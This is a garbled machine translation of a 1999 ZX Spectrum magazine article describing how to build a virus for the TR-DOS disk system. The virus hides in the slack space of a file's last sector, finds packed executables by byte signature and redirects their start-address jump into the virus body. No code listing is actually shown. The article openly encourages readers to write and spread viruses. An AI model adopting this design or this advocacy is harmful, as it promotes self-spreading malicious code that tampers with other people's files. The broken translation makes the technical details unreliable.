Coding - pishim virus invisible to TR-DOS.

<b>Coding</b> - pishim virus invisible to TR-DOS.
(C) Arkady Gobuzov, 1999
__________________________________________



   The first (?) Virus which has received some
distribution in TR-DOS and was first described
                  LIMITED in a computer magazine
                  incident particle was virus propagation
                  tranyaemy the game LAST

                  BATTLE.

                  Here I would like RASSC
                  show a new type of virus
                  ca, which infects not

                  BASIC, and CODE-files at

                  Moreover, the size of the files in

                  sectors, and the order of files on the disk 
will not change. It so I called this type of virus - 
"Invisible", although, in fairness, it must be noted on a PC 
virus-invisible means something quite different. 

   First, let us recall how to construct file
system in TR-DOS: the files take up on
disk size, fold the size of one sector. Thus, both the files in 
the 513 bytes, and files to 768 bytes, and the files of 600 
bytes will be occupy on disk 3 sektora.Pri that only files up 
to 768 bytes will be the most efficient use of disk space. All 
the other files in the last sector will be some unused balance 
in size from 1 to 255 bytes. 

Question No. 1:
--------------


   And can I record something in THIS

         UNUSED BALANCE?



   Apparently, it is possible, with a miracle!,
file size in sectors will not change.

   Now let's think about what files
it makes sense to infect. Clearly, text files, infect files 
with the font is meaningless. Only need to infect files that 
immediately after loading the given control JUMP'om or CALL'om 
at a starting address.


Question number 2:
--------------


   HOW TO DETERMINE files, run software

            START ADDRESS?



   Of course, this will get
some part of file into memory, preferably
how can a smaller part. Practice shows that it is sufficient to 
download just one sector. I've somehow accidentally discovered

that the files are packed with the most common packers to 
Spectrume, namely: HRUST'om, HRUM'om and MS PACK'om and 
unloaded from the packer, the start address always have the 
following sequence of commands: 

; DI
; LD (NN), SP



   Knowing this, I can always get on the first sector of a file 
or even easier - the first two byte defines the files that run 
on start address. You can ask, but

the same as other files? Well, and other files
too, can somehow determine. For example, in
sequence:

; DI
; LD SP, NN



   Screens, packed with a packer, it is possible
determine the sequence:

; CALL 82 (not necessarily located on
start address, and somewhere in the first sector.)


   And so, the options are many, but keep in mind that the body 
of the virus should be as can be smaller, so it's easier to 
write a virus that infects only some specific executable files 
rather than trying to write universal.


   So: will continue to be described by a virus that infects 
files that are packed most common packers, and have since from 
the first location, the sequence Bytes:


; # F3 DI
; # ED # 73 # NN # NN LD (NN), SP


Question number 3:
--------------


   FILES CAN BE ANY SIZE infects?



   Since we will be positioned immediately adjacent
after the file, it is easy to calculate the address
from which we will be in memory
after downloading an infected file:

Address = Address of the virus file + length of the file.



   It must be remembered that after downloading
we need to have enough room for 8
sectors of the directory, the first sector of interest to us 
and file for a backup copy of the virus. Total 10 sectors or 
2560 bytes. Recall that at the end of the memory address

65368 is a unit UDG, the schedule is determined
user. It is desirable to leave without
changes. Before this unit is
stack, BASIC being installed by default:
CLEAR 65367; this stack reaches the top down
to about 65,274 addresses (# FEFA). Consider a situation (quite 
possible), when loader does not command CLEAR, and packaged 
unit after loading a decompressed not riding straight on the 
stack, then returned back to BASIC. In this case, the default 
stack In no case can not overwrite. But, as

Typically, the loader sets a
low enough stack type 24575. And after
packaged unit has some sort of unused memory. As we explained 
above, this memory should be no higher than 62,464 =

= # FE00 - # A00.

   Once again I summarize:

Address of the virus body = Start address + 256 infected file * 
file size in sectors that should be less than 62,465. 


Question number 4:
--------------


      WHAT IS THE GENERAL SCHEME OF INFECTION?

           HOW DOES THE VIRUS?



   In the infected file, the virus body is located immediately 
after the file data. 

   Thus, the infected file is loaded, the
It is given to the management team of JP, CALL,
or RANDOMIZE USR start adres.Po start address is the team JP - 
body virus. Further, we read directly from comments in the 
assembler listing: , (The program is written in ZXASM3.0)

;---------------

   Thus, the body of the virus has a size of 238 bytes. In my 
opinion, difficult to reduce this number, without violating the 
capacity of the virus ... Although, if you do a search and 
replace another sequence of commands, not DI: LD (NN), SP, you 
can benefit substantially. The first virus that uses this idea, 
was written by me in the spring of 1995, its size was only 186 
bytes, but it does not infect files from MS_PACKa, HRUSTa, 
HRUMa (these programs were not yet was), and files uploaded 
from ASC Screen Crasher'a, where there is a replacement team

CALL 82, CALL command the virus body.

Now the number of files that are actually
may be infected:

   The files are unloaded from the above Packers have the same 
chances and 0 and 100, and 255 bytes in the remainder, as they 
say in probability theory - these outcomes are equally 
probable, ie likely to be infected accidentally taken a file 
that has we needed a sequence of bytes is equal to (256-length 
of virus) / 256. This number can not be equal to unity, because 
the virus body is always something should contain. For this 
virus, this number slightly less than 1 / 14. That is, if the 
disc contains 14 files, downloaded from HRUMa, HRUSTa or 
MS_PACK, then, likely to infect only 1 file

if 28 - then 2, although there may be options that
You can not infect anything, or can infect all the files (very 
unlikely). For virus that infects ASC files, this number

little more than 1 / 4.


   Needless to say, the virus does not
any destructive actions and infection makes every effort to do 
no harm. 

Question number 5:
--------------


     HOW LONG WILL LIVE THIS VIRUS?



   He lived until you erase the infected
file. Every time the infected file, the virus will load the 
zero track and seek the appropriate file. After infection

size of the file in the directory will be updated and the file 
will not have balance. So way, his re-infection is possible. If 
the disc does not contain the file, then after work we'll be 
back as a virus nothing happened in the infected block. After 
copying the infected file to another drive, and there he will 
begin his insidious thing. 

Question number 6:
--------------


      WHAT HAPPENS IF THE DISC glue?



   Bad will. When you try to infection, the virus will try to 
dump data to disk glued, and the on-screen message will error. 
To avoid this, we must to check for disk glued at

Moreover, the size of the virus have to be increased and
pass the mark of 255 bytes, and it is for viruses of this type 
is not realistic. 

Question number 7:
--------------

 IS IT POSSIBLE TO WRITE A VIRUS OVER SIZE

   255 bytes and, while not spoiling

              No files?



   You can, but at the same time, he will be able to infect
only the files that are located at the very end
catalog; any files on disk after himself, a remote file. Much 
effort to make appropriate changes to the directory have 
advanced spektrumista not be. Increasing the size will make more

audits and, accordingly, to infect a greater number of 
executable files. You can also make some effects that are so

Slavia viruses on the PC.

Now the main thing:

Question number 8:
--------------


      A nafig all these viruses NEED?



   It's interesting, you will agree!? In addition,
All computers have a disk system,
have the virus. They are also available on AMIGe, and on the PC,
and on Macs. I believe that their absence in
TR-DOS was only temporary. The purpose of this stativospolnit 
gap and identify the main direction virusostroitelstva in 
TR-DOS. But I urge all who will try to

write a virus, do not lay in it
destructive properties, it is best to do some fun features in 
them, without zeroing zero track after the 13th of infection or

delete files.


    More viruses, good and different!
